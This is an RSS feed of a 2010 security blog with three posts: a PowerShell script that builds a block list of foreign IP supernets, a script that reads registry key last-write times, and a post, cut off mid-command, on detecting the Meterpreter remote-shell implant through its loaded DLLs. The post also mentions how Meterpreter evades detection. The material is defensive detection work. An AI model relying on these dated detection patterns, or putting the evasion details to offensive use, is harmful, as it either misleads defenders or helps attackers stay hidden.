<?xml version="1.0" encoding="utf-8"?><rss xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:dc="http://purl.org/dc/elements/1.1/" version="2.0"><channel><ttl>60</ttl><title>Blog | Security Whole</title><link>http://blog.securitywhole.com</link><lastBuildDate>Fri, 30 Jul 2010 22:07:56 GMT</lastBuildDate><pubDate>Fri, 30 Jul 2010 22:07:56 GMT</pubDate><language>en</language><copyright /><itunes:subtitle></itunes:subtitle><itunes:author /><itunes:summary /><description /><itunes:owner><itunes:name /><itunes:email>timmedin@securitywhole.com</itunes:email></itunes:owner><itunes:explicit>no</itunes:explicit><itunes:category text="Arts" /><item><title>Blocking Traffic from Foreign Countries - Creating a block list of Supernets using PowerShell</title><link>http://blog.securitywhole.com/2010/03/29/blocking-traffic-from-foreign-countries--creating-a-block-list-of-supernets-using-powershell.aspx?ref=rss</link><dc:creator>Tim Medin</dc:creator><description>&lt;P&gt;The following PowerShell script will create a list of supernets that are outside of the United States. The networks created by this script are intended to be used to restrict network traffic from foreign countries. The results of this script aren't perfect and aren't intended to be perfect. There is trade off between the size of the list and accuracy, and I chose to err on the side of a shorter list of networks so it would not add and extra burden to the firewall.&lt;/P&gt;
&lt;P&gt;Here is the script:&lt;/P&gt;
&lt;P&gt;&lt;FONT face="Courier New"&gt;$debug = 0&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;&lt;FONT face="Courier New"&gt;# Filter for records that aren't in the US or run by ARIN&lt;BR&gt;$records = ([xml]((New-Object System.Net.WebClient).DownloadString("http://www.iana.org/assignments/ipv4-address-space/ipv4-address-space.xml"))).registry.record | ? {&lt;BR&gt;&amp;nbsp; $_.designation -notlike "*ARIN*" -and&lt;BR&gt;&amp;nbsp; $_.status -ne "LEGACY"&lt;BR&gt;}&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;&lt;FONT face="Courier New"&gt;# Create array for holding supernets&lt;BR&gt;$supernets = @()&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;&lt;FONT face="Courier New"&gt;# Add a property for the Binary representation of the first octet&lt;BR&gt;# Add a property for holding the masked bits, used for finding the supernets&lt;BR&gt;$records | % { $_ |&lt;BR&gt;&amp;nbsp; Add-Member NoteProperty -Name "Bits" -Value ([Convert]::ToString($_.prefix.Split("/")[0],2)).PadLeft(8,"0") -PassThru |&lt;BR&gt;&amp;nbsp; Add-Member NoteProperty -Name "MaskedBits" -Value ""&lt;BR&gt;}&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;&lt;FONT face="Courier New"&gt;# $i is the current number of mask bits used for finding a supernet&lt;BR&gt;for ($i=1; $i -le 8; $i++) {&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;&lt;FONT face="Courier New"&gt;&amp;nbsp; # apply the mask, set the masked bits property&lt;BR&gt;&amp;nbsp; # this get the left most $i of bits&lt;BR&gt;&amp;nbsp; $records | % {&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $_.MaskedBits = $_.Bits.SubString(0,$i)&lt;BR&gt;&amp;nbsp; }&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;&lt;FONT face="Courier New"&gt;&amp;nbsp; if ($debug) { $numrecords = $records.count }&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;&lt;FONT face="Courier New"&gt;&amp;nbsp; # how many /$i networks does it take to fill the current supernet, /1 is 128, /2 is 64 ...&lt;BR&gt;&amp;nbsp; $supernetsize = [Math]::pow(2,8-$i)&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;&lt;FONT face="Courier New"&gt;&amp;nbsp; if ($debug) { "Supernet Size: $supernetsize" }&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;&lt;FONT face="Courier New"&gt;&amp;nbsp; # if a full supernet is found, then ...&lt;BR&gt;&amp;nbsp; # a "full" supernet contains all of the /8 networks to fill the supernet&lt;BR&gt;&amp;nbsp; $records | group MaskedBits | ? { $_.Count -eq $supernetsize} | % {&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $group = $_&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;&lt;FONT face="Courier New"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; # create the supernet object and set the properties&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $supernet = "" | Select Prefix,Bits,MaskBits,CIDR&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $supernet.Bits = $group.Name.PadRight(8, "0")&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $supernet.Prefix = [Convert]::ToByte($supernet.Bits, 2)&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $supernet.MaskBits = $i&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $supernet.CIDR = "$($supernet.Prefix).0.0.0/$($supernet.MaskBits)"&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;&lt;FONT face="Courier New"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; # add the supernet to the collection of supernets&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $supernets += $supernet&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;&lt;FONT face="Courier New"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; # remove the networks from the full network collection if they were just added as a supernet&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $records = $records | ? { $_.Bits.SubString(0,$i) -ne $group.Name }&lt;BR&gt;&amp;nbsp; }&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;&lt;FONT face="Courier New"&gt;&amp;nbsp; if ($debug) {&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; "Matching Supernets Found: $(($numrecords - $records.count)/$supernetsize)"&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $supernets | ? { $_.MaskBits -eq $i }&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; "---------------------------------------------------------------------------"&lt;BR&gt;&amp;nbsp; }&lt;BR&gt;}&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;&lt;FONT face="Courier New"&gt;#output the results&lt;BR&gt;$supernets | Sort Bits | Select Prefix,Bits,MaskBits,CIDR&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;Now for a bit of explanation...&lt;/P&gt;
&lt;P&gt;As you may already know, most IPv4 addresses are controlled by ARIN (North America), APNIC (Asia Pacific), LACNIC (Latin America and Caribbean), and other similar regional internet registries (RIR). Each one controls the ip addresses for a specific portion of the world. We want to create a list of all networks that are not in the United States, and the closest approximation is the ARIN RIR. The problem is, prior to the establishment of the RIRs, some blocks of IP addresses were handed out directly to organizations (and their status is "legacy"). Most of the companies that have the legacy address spaces are US based and we will assume they are allowed.&lt;/P&gt;
&lt;P&gt;First, we get the list of networks from IANA (Internet Assigned Numbers Authority). Our black list will contain all of the networks NOT in the US, so we filter out all of the ARIN controlled IP addresses and the addresses with a "legacy" status. The list is imported in XML format. The nice feature of the xml format is that imports the xml entities as objects, and PowerShell works best with objects. The properties of the objects are prefix, designation, date, status and xref, but we only use the status and the prefix. With these properties defined we can easily use the Where-Object cmdlet (alias ?) to filter out the "safe" address. If you wanted to block a different set of RIRs this is where you could make one simple change to better suit you.&lt;/P&gt;
&lt;P&gt;&lt;FONT face="Courier New"&gt;$records = ([xml]((New-Object System.Net.WebClient).DownloadString("http://www.iana.org/assignments/ipv4-address-space/ipv4-address-space.xml"))).registry.record&amp;nbsp;| ? {&lt;BR&gt;&amp;nbsp; $_.designation -notlike "*ARIN*" -and&lt;BR&gt;&amp;nbsp; $_.status -ne "LEGACY"&lt;BR&gt;}&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;After the import and the filter, the $records variable contains all of the addresses blocks we want to blacklist. We could just quit now, but it would be nice to shorten the list. We can combine the address blocks into supernets. We start by creating a variable to hold the array of supernets.&lt;/P&gt;
&lt;P&gt;&lt;FONT face="Courier New"&gt;# Create array for holding supernets&lt;BR&gt;$supernets = @()&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;To make things easier, we can extend the object given to us from xml. Two properties are added, one to hold the bit representation of the first octet, and the second will be used for storing a masked version of those bits.&lt;/P&gt;
&lt;P&gt;&lt;FONT face="Courier New"&gt;# Add a property for the Binary representation of the first octet&lt;BR&gt;# Add a property for holding the masked bits, used for finding the supernets&lt;BR&gt;$records | % { $_ |&lt;BR&gt;&amp;nbsp; Add-Member NoteProperty -Name "Bits" -Value ([Convert]::ToString($_.prefix.Split("/")[0],2)).PadLeft(8,"0") -PassThru |&lt;BR&gt;&amp;nbsp; Add-Member NoteProperty -Name "MaskedBits" -Value ""&lt;BR&gt;}&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;The $records variable (as previously stated, contains all the networks to be blocked) is piped into the ForEach-Object cmdlet (alias %). Inside the loop we create the properties and set the Bits property. The initial value for the Masked Bits is blank since we will set that later.&lt;/P&gt;
&lt;P&gt;Now that the object is created the way we want it, we start a For loop. The loop will go from 1 to 8, representing each bit in the octet, and it will be used for masking.&lt;/P&gt;
&lt;P&gt;&lt;FONT face="Courier New"&gt;# $i is the current number of mask bits used for finding a supernet&lt;BR&gt;for ($i=1; $i -le 8; $i++) {&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;Now to use our newly created property and set the Mask Bits on each object.&lt;/P&gt;
&lt;P&gt;&lt;FONT face="Courier New"&gt;&amp;nbsp; # apply the mask, set the masked bits property&lt;BR&gt;&amp;nbsp; # this get the left most $i of bits&lt;BR&gt;&amp;nbsp; $records | % {&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $_.MaskedBits = $_.Bits.SubString(0,$i)&lt;BR&gt;&amp;nbsp; }&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;The $records variable is piped into a ForEach-Object loop. Inside the loop we apply the mask. The mask takes the left most bits. When $i is one, we only look at the leftmost bit. When $i is 2, we take the two leftmost bits, and so on.&lt;/P&gt;
&lt;P&gt;Now we need to calculate how many networks it takes to "fill" a supernet with our mask. A mask of 1 will require 128 networks to be full, a mask of 2 will require 64 networks, 3 requires 32, and so on.&lt;/P&gt;
&lt;P&gt;&lt;FONT face="Courier New"&gt;&amp;nbsp; # how many /$i networks does it take to fill the current supernet, /1 is 128, /2 is 64 ...&lt;BR&gt;&amp;nbsp; $supernetsize = [Math]::pow(2,8-$i)&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;Now we have the supernet size, so let's see if we have any full supernets.&lt;/P&gt;
&lt;P&gt;&lt;FONT face="Courier New"&gt;&amp;nbsp; # if a full supernet is found, then ...&lt;BR&gt;&amp;nbsp; # a "full" supernet contains all of the /8 networks to fill the supernet&lt;BR&gt;&amp;nbsp; $records | group MaskedBits | ? { $_.Count -eq $supernetsize} | % {&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;We pipe the $records variable into Group-Object, where the grouping is done in the Masked Bits. All of the networks with matching Mask Bits will be put in a group. We then filter all groups that are full by using the Where-Object cmdlet to filter groups that have the required number of elements. If any make it through the filter they are piped into the ForEach-Object cmdlet, where we create the supernet.&lt;/P&gt;
&lt;P&gt;&lt;FONT face="Courier New"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $group = $_&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;&lt;FONT face="Courier New"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; # create the supernet object and set the properties&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $supernet = "" | Select Prefix,Bits,MaskBits,CIDR&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $supernet.Bits = $group.Name.PadRight(8, "0")&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $supernet.Prefix = [Convert]::ToByte($supernet.Bits, 2)&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $supernet.MaskBits = $i&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $supernet.CIDR = "$($supernet.Prefix).0.0.0/$($supernet.MaskBits)"&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;&lt;FONT face="Courier New"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; # add the supernet to the collection of supernets&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $supernets += $supernet&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;&lt;FONT face="Courier New"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; # remove the networks from the full network collection if they were just added as a supernet&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $records = $records | ? { $_.Bits.SubString(0,$i) -ne $group.Name }&lt;BR&gt;&amp;nbsp; }&lt;BR&gt;}&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;First we set a the $group variable equal to the current group, $_ represents the group passed into the ForEach-Object cmdlet. Next, we create a variable to hold the supernet and set the properties of the supernet. The Bits property is the masked bits, the Prefix is the decimal equivalent of the masked bits, the Mask Bits is the number of bits used in the mask, and CIDR is just a pretty version of the Prefix and the Mask Bits. For example, the fourth pass through the For loop uses four bits for the mask. It finds a full supernet matching the four leftmost bits 0101. The supernet Bits are 01010000, Prefix is 80, Masked Bits is 4, and the CIDR is 80.0.0.0/4.&lt;/P&gt;
&lt;P&gt;The supernet is added to the collection of supernets. We then need to remove the networks in the supernet from the $records variable so we don't use them again. This is done by filtering the $records variable for all networks that match our masked bits. In the case above, we would remove all networks that start with 0101xxxx.&lt;/P&gt;
&lt;P&gt;The loop then starts over with a slightly bigger mask which looks from smaller supernets.&lt;/P&gt;
&lt;P&gt;All we have left to do is output the results.&lt;/P&gt;
&lt;P&gt;&lt;FONT face="Courier New"&gt;#output the results&lt;BR&gt;$supernets | Sort Bits | Select Prefix,Bits,MaskBits,CIDR&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;Results:&lt;BR&gt;&lt;FONT face="Courier New"&gt;Prefix Bits&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; MaskBits CIDR&lt;BR&gt;------ ----&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -------- ----&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0 00000000&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 7 0.0.0.0/7&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 2 00000010&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 8 2.0.0.0/8&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 5 00000101&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 8 5.0.0.0/8&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 10 00001010&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 8 10.0.0.0/8&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 14 00001110&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 8 14.0.0.0/8&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 23 00010111&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 8 23.0.0.0/8&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 27 00011011&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 8 27.0.0.0/8&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 31 00011111&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 8 31.0.0.0/8&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 36 00100100&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 7 36.0.0.0/7&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 39 00100111&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 8 39.0.0.0/8&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 41 00101001&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 8 41.0.0.0/8&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 42 00101010&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 8 42.0.0.0/8&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 46 00101110&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 8 46.0.0.0/8&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 49 00110001&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 8 49.0.0.0/8&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 58 00111010&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 7 58.0.0.0/7&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 60 00111100&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 7 60.0.0.0/7&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 62 00111110&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 8 62.0.0.0/8&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 77 01001101&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 8 77.0.0.0/8&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 78 01001110&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 7 78.0.0.0/7&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 80 01010000&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 4 80.0.0.0/4&lt;BR&gt;&amp;nbsp;&amp;nbsp; 100 01100100&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 6 100.0.0.0/6&lt;BR&gt;&amp;nbsp;&amp;nbsp; 104 01101000&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 7 104.0.0.0/7&lt;BR&gt;&amp;nbsp;&amp;nbsp; 106 01101010&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 8 106.0.0.0/8&lt;BR&gt;&amp;nbsp;&amp;nbsp; 109 01101101&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 8 109.0.0.0/8&lt;BR&gt;&amp;nbsp;&amp;nbsp; 110 01101110&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 7 110.0.0.0/7&lt;BR&gt;&amp;nbsp;&amp;nbsp; 112 01110000&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 4 112.0.0.0/4&lt;BR&gt;&amp;nbsp;&amp;nbsp; 175 10101111&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 8 175.0.0.0/8&lt;BR&gt;&amp;nbsp;&amp;nbsp; 176 10110000&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 5 176.0.0.0/5&lt;BR&gt;&amp;nbsp;&amp;nbsp; 185 10111001&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 8 185.0.0.0/8&lt;BR&gt;&amp;nbsp;&amp;nbsp; 186 10111010&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 7 186.0.0.0/7&lt;BR&gt;&amp;nbsp;&amp;nbsp; 189 10111101&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 8 189.0.0.0/8&lt;BR&gt;&amp;nbsp;&amp;nbsp; 190 10111110&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 8 190.0.0.0/8&lt;BR&gt;&amp;nbsp;&amp;nbsp; 193 11000001&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 8 193.0.0.0/8&lt;BR&gt;&amp;nbsp;&amp;nbsp; 194 11000010&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 7 194.0.0.0/7&lt;BR&gt;&amp;nbsp;&amp;nbsp; 197 11000101&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 8 197.0.0.0/8&lt;BR&gt;&amp;nbsp;&amp;nbsp; 200 11001000&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 6 200.0.0.0/6&lt;BR&gt;&amp;nbsp;&amp;nbsp; 210 11010010&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 7 210.0.0.0/7&lt;BR&gt;&amp;nbsp;&amp;nbsp; 212 11010100&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 7 212.0.0.0/7&lt;BR&gt;&amp;nbsp;&amp;nbsp; 217 11011001&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 8 217.0.0.0/8&lt;BR&gt;&amp;nbsp;&amp;nbsp; 218 11011010&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 7 218.0.0.0/7&lt;BR&gt;&amp;nbsp;&amp;nbsp; 220 11011100&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 6 220.0.0.0/6&lt;BR&gt;&amp;nbsp;&amp;nbsp; 224 11100000&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 3 224.0.0.0/3&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;I hope that helps.&lt;/P&gt;</description><comments>http://blog.securitywhole.com/2010/03/29/blocking-traffic-from-foreign-countries--creating-a-block-list-of-supernets-using-powershell.aspx#Comments</comments><guid isPermaLink="false">816e240d-d993-4b1d-853d-53f75ba7b51c</guid><pubDate>Tue, 30 Mar 2010 02:32:00 GMT</pubDate></item><item><title>Getting registry last write time with PowerShell</title><link>http://blog.securitywhole.com/2010/02/02/getting-registry-last-write-time-with-powershell.aspx?ref=rss</link><dc:creator>Tim Medin</dc:creator><description>&lt;P&gt;All registry keys have a value associated with called the Last Write Time. This is analogous to the last modification time for a file. When ever the registry key or one if its values has been created, modified, or deleted the value is updated to the current local system time. Unfortunately, there is no Last Write Time associated with a registry value, but it can be infered from the Last Write Time of the key.&lt;/P&gt;
&lt;P&gt;Here is a PowerShell script to read the Last Write Time for a registry key.&lt;/P&gt;
&lt;P&gt;Usage:&lt;/P&gt;&lt;PRE&gt;Get-RegKeyLastWriteTime.ps1 &amp;lt;Key&amp;gt; &amp;lt;SubKey&amp;gt;&lt;/PRE&gt;
&lt;P&gt;Example:&lt;/P&gt;&lt;PRE&gt;Get-RegKeyLastWriteTime.ps1 HKLM SOFTWARE\Microsoft\Windows\CurrentVersion&lt;/PRE&gt;
&lt;P&gt;Output:&lt;/P&gt;
&lt;P&gt;&lt;PRE&gt;Key                         LastWriteTime
---                         -------------
AdminDebug                  10/28/2009 7:50:51 PM
App Management              7/14/2009 4:41:12 AM
App Paths                   1/22/2010 2:07:18 PM
Applets                     7/14/2009 4:41:12 AM
Audio                       7/14/2009 4:41:12 AM
Authentication              7/14/2009 4:41:12 AM
BitLocker                   7/14/2009 4:41:12 AM
...&lt;/PRE&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;Get-RegKeyLastWriteTime.ps1 Script:&lt;/P&gt;
&lt;P&gt;&lt;PRE&gt;param (	[string] $Key, [string] $SubKey )

switch ($Key) {
    "HKCR" { $searchKey = 0x80000000} #HK Classes Root
    "HKCU" { $searchKey = 0x80000001} #HK Current User
    "HKLM" { $searchKey = 0x80000002} #HK Local Machine
    "HKU"  { $searchKey = 0x80000003} #HK Users
    "HKCC" { $searchKey = 0x80000005} #HK Current Config
    default { 
        #throw "Invalid Key. Use one of the following options HKCR, HKCU, HKLM, HKU, HKCC"
    }
}


$KEYQUERYVALUE = 0x1
$KEYREAD = 0x19
$KEYALLACCESS = 0x3F

$sig1 = @'
[DllImport("advapi32.dll", CharSet = CharSet.Auto)]
  public static extern int RegOpenKeyEx(
    int hKey,
    string subKey,
    int ulOptions,
    int samDesired,
    out int hkResult);
'@
$type1 = Add-Type -MemberDefinition $sig1 -Name Win32Utils `
    -Namespace RegOpenKeyEx -Using System.Text -PassThru

$sig2 = @'
[DllImport("advapi32.dll", EntryPoint = "RegEnumKeyEx")]
extern public static int RegEnumKeyEx(
    int hkey,
    int index,
    StringBuilder lpName,
    ref int lpcbName,
    int reserved,
    int lpClass,
    int lpcbClass,
    out long lpftLastWriteTime);
'@
$type2 = Add-Type -MemberDefinition $sig2 -Name Win32Utils `
    -Namespace RegEnumKeyEx -Using System.Text -PassThru

$sig3 = @'
[DllImport("advapi32.dll", SetLastError=true)]
public static extern int RegCloseKey(
    int hKey);
'@
$type3 = Add-Type -MemberDefinition $sig3 -Name Win32Utils `
    -Namespace RegCloseKey -Using System.Text -PassThru


$hKey = new-object int
$result = $type1::RegOpenKeyEx($searchKey, $SubKey, 0, $KEYREAD, [ref] $hKey)

#initialize variables
$builder = New-Object System.Text.StringBuilder 1024
$index = 0
$length = [int] 1024
$time = New-Object Long

#234 means more info, 0 means success. Either way, keep reading
while ( 0,234 -contains $type2::RegEnumKeyEx($hKey, $index++, `
    $builder, [ref] $length, $null, $null, $null, [ref] $time) )
{
    #create output object
    $o = "" | Select Key, LastWriteTime
    $o.Key = $builder.ToString()
    $o.LastWriteTime = (Get-Date $time).AddYears(1600)
    $o

    #reinitialize for next time through the loop  
    $length = [int] 1024
    $builder = New-Object System.Text.StringBuilder 1024
}

$result = $type3::RegCloseKey($hKey);&lt;/PRE&gt;&lt;/P&lt; body&gt;</description><comments>http://blog.securitywhole.com/2010/02/02/getting-registry-last-write-time-with-powershell.aspx#Comments</comments><guid isPermaLink="false">7d7a1af2-dc38-4e35-837e-8e72443c3029</guid><pubDate>Tue, 02 Feb 2010 23:14:00 GMT</pubDate></item><item><title>Finding Meterpreter</title><link>http://blog.securitywhole.com/2010/01/31/finding-meterpreter.aspx?ref=rss</link><dc:creator>Tim Medin</dc:creator><description>In our recent post on the Command Line Kung Fu blog, &lt;A href="http://blog.commandlinekungfu.com/2010/01/episode-78-advanced-process-whack-mole.html"&gt;Advanced Process Whack-a-Mole&lt;/A&gt;, we tried to find meterpreter using these two commands:&lt;BR&gt;&lt;BR&gt;Windows command line:&lt;BR&gt;&lt;PRE&gt;C:\&amp;gt; tasklist /FI "modules eq metsrv.dll"&lt;/PRE&gt;PowerShell&lt;BR&gt;&lt;PRE&gt;PS C:\&amp;gt; Get-Process | ? { $_.Modules -like "*(metsrv.dll)*" }&lt;/PRE&gt;In version MetaSploit 3.3, and presumably future versions, the metsrv.dll is not visible due to &lt;A href="http://www.darkoperator.com/blog/2009/7/14/meterpreter-stealthier-than-ever.html"&gt;Reflective DLL injection&lt;/A&gt;. It does work on v2 and v3.0-3.2.&amp;nbsp;However, there are still footprints of meterpreter in v3.3. Two other dll's are loaded with meterpreter that many processes don't load.&lt;BR&gt;&lt;PRE&gt;C:\WINDOWS\system32\rsaenh.dll&lt;BR&gt;C:\WINDOWS\system32\IPHLPAPI.DLL&lt;/PRE&gt;We can look for processes that have these two dll's loaded using either of these two commands.&lt;BR&gt;&lt;BR&gt;Windows command line:&lt;BR&gt;&lt;PRE&gt;C:\&amp;gt; tasklist /fi "MODULES eq rsaenh.dll" /fi "MODULES 